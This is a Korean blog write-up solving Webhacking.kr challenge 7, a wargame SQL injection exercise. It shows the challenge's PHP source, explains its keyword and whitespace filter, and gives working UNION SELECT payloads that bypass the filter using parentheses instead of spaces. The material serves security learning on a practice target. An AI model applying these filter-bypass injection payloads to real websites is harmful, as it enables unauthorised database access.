Webhacking.kr 7번 문제풀이

Hevton·2020년 9월 9일
0
post-custom-banner

7번에 들어가서 view-source를 클릭하면

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
  $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
  $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
  $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
  $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
  $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

이런 코드가 뜬다. 여기서 주의깊게 봐야 할 코드는 preg_match() 부분이다. 해당 함수는 정규표현식을 기준으로, 주어진 문자열 안에서의 패턴을 검출하는 함수이다. 정규표현식은 문자열에서 특정 패턴을 찾아내기 위한 검색 방식이다. 이에 대한 자세한 내용은 아래 사이트에 잘 정리되어 있다. 궁금하다면 참고하면 좋을 것 같다.
http://tcpschool.com/php/php_regularExpression_concept

이런 공식을 기반으로 해서 위 코드들을 전체적으로 해석해보면, $go 변수에 $GET['val'] 파라미터 값을 저장하고. preg_match 함수를 통해 $go 변수 안에 2, -, +, from, , =, \s, *, \ 문자가 있는지 필터링을 해준 뒤 있다면 Access Denied를 출력시킨다. 그리고 $rand 변수에 1~5까지의 난수값을 저장시킨 뒤 값에 따라 쿼리를 전달할 때 $go 변수를 몇 개의 괄호로 감싸는지 지정해준다. 그리고 쿼리의 결과값으로 2가 나올 경우에 문제가 해결된다. 따라서 조건은 필터링을 피해서 쿼리 결과값으로 2를 받아야 하는 상황이다.

시도를 좀 해보다 보면, 필터링 된 문자들로 인해 쉽게 2를 쿼리결과값으로 받기가 힘들게 된다. 일단 chall7 테이블 안의 lv 변수에 2라는 값이 존재하는지 안하는지도 확실하지 않으므로, 이 값이 존재하는지의 여부에 대해 알아내기 위해서 ?val=5%3을 넣어준다 (5%3 = 2의 결과).

코드를 보면 query error가 뜨는 경우는, 쿼리가 잘 넘어갔고 응답도 잘 받았는데 결과값이 없을 경우이다. 즉 다소 난감한 상황이지만 chall7 테이블의 lv 컬럼들에는 2라는 데이터가 존재하지 않는다는 뜻이다. 즉 직접 2를 어거지로 출력해줘야한다. 이럴 때 SELECT 문을 사용할 수 있다는 것을 알고 있어야 한다. (SELECT x 를 하면 그냥 x가 출력된다)

mysql> SELECT 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)

mysql> SELECT 2;
+---+
| 2 |
+---+
| 2 |
+---+
1 row in set (0.00 sec)

mysql> SELECT 1+1;
+-----+
| 1+1 |
+-----+
|   2 |
+-----+
1 row in set (0.00 sec)

그리고 우리는 두 개의 SELECT문을 실행할 수 있게 해주는 UNION 명령어에 대해서도 알고 있어야 한다.

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

주의할 점은 UNION을 경계로 각 SELECT문의 출력 컬럼 갯수가 같아야 한다는 점이다.

또 하나 해당 문제를 풀기 위해 알고 가면 좋은 점은, SQL INJECTION에서의 공백 우회이다. 현재 preg_match의 \s 필터링으로 인해 공백 관련한 문자들( \n, \r, \t, \x0B, 스페이스바)과 + 까지 모두 필터링 중이다. sql의 공백 문자 필터링에는 다양한 종류가 있는데
1. Tab : %09
2. Line Feed(\n) : %0a
3. Carrage Return(\r) : %0d
4. Comment : /**/
5. parenthesis : ()
6. +
이 중 6번을 제외한 모든 경우가 막혀있다. 그리고 rand에서도 어차피 괄호를 이용해주고 있으니 힌트로 볼 수 도 있겠다.따라서 우리가 넣을 페이로드는val=1)and(1>3)UNION(SELECT(5%3) 이고, $go 변수가 괄호로 한번 감싸지는 경우를 노려야 한다.20퍼센트 확률이니까 url에 여러번 집어넣다 보면 해결 된다.

또 다른 방법으로는 2를 정수가 아닌 문자형식으로 우회시켜서 '2' 의 아스키 코드값인 50을 넣어주는 경우가 있다.
val=1)and(1>3)UNION(SELECT(CHAR(50))

두 방법 다 앞에를 거짓으로 만들어 결과없게 하고 뒤에만 출력되게끔 하는 것이다.


ps. 뒤에 괄호를 하나 더 붙이고 주석처리하는val=1)and(1>3)UNION(SELECT(5%3))# val=1)and(1>3)UNION(SELECT(CHAR(50)))#은 왜 안되는지 아시는 분 있으면 댓글 부탁드립니당..
profile
놀만큼 놀았다.
post-custom-banner

0개의 댓글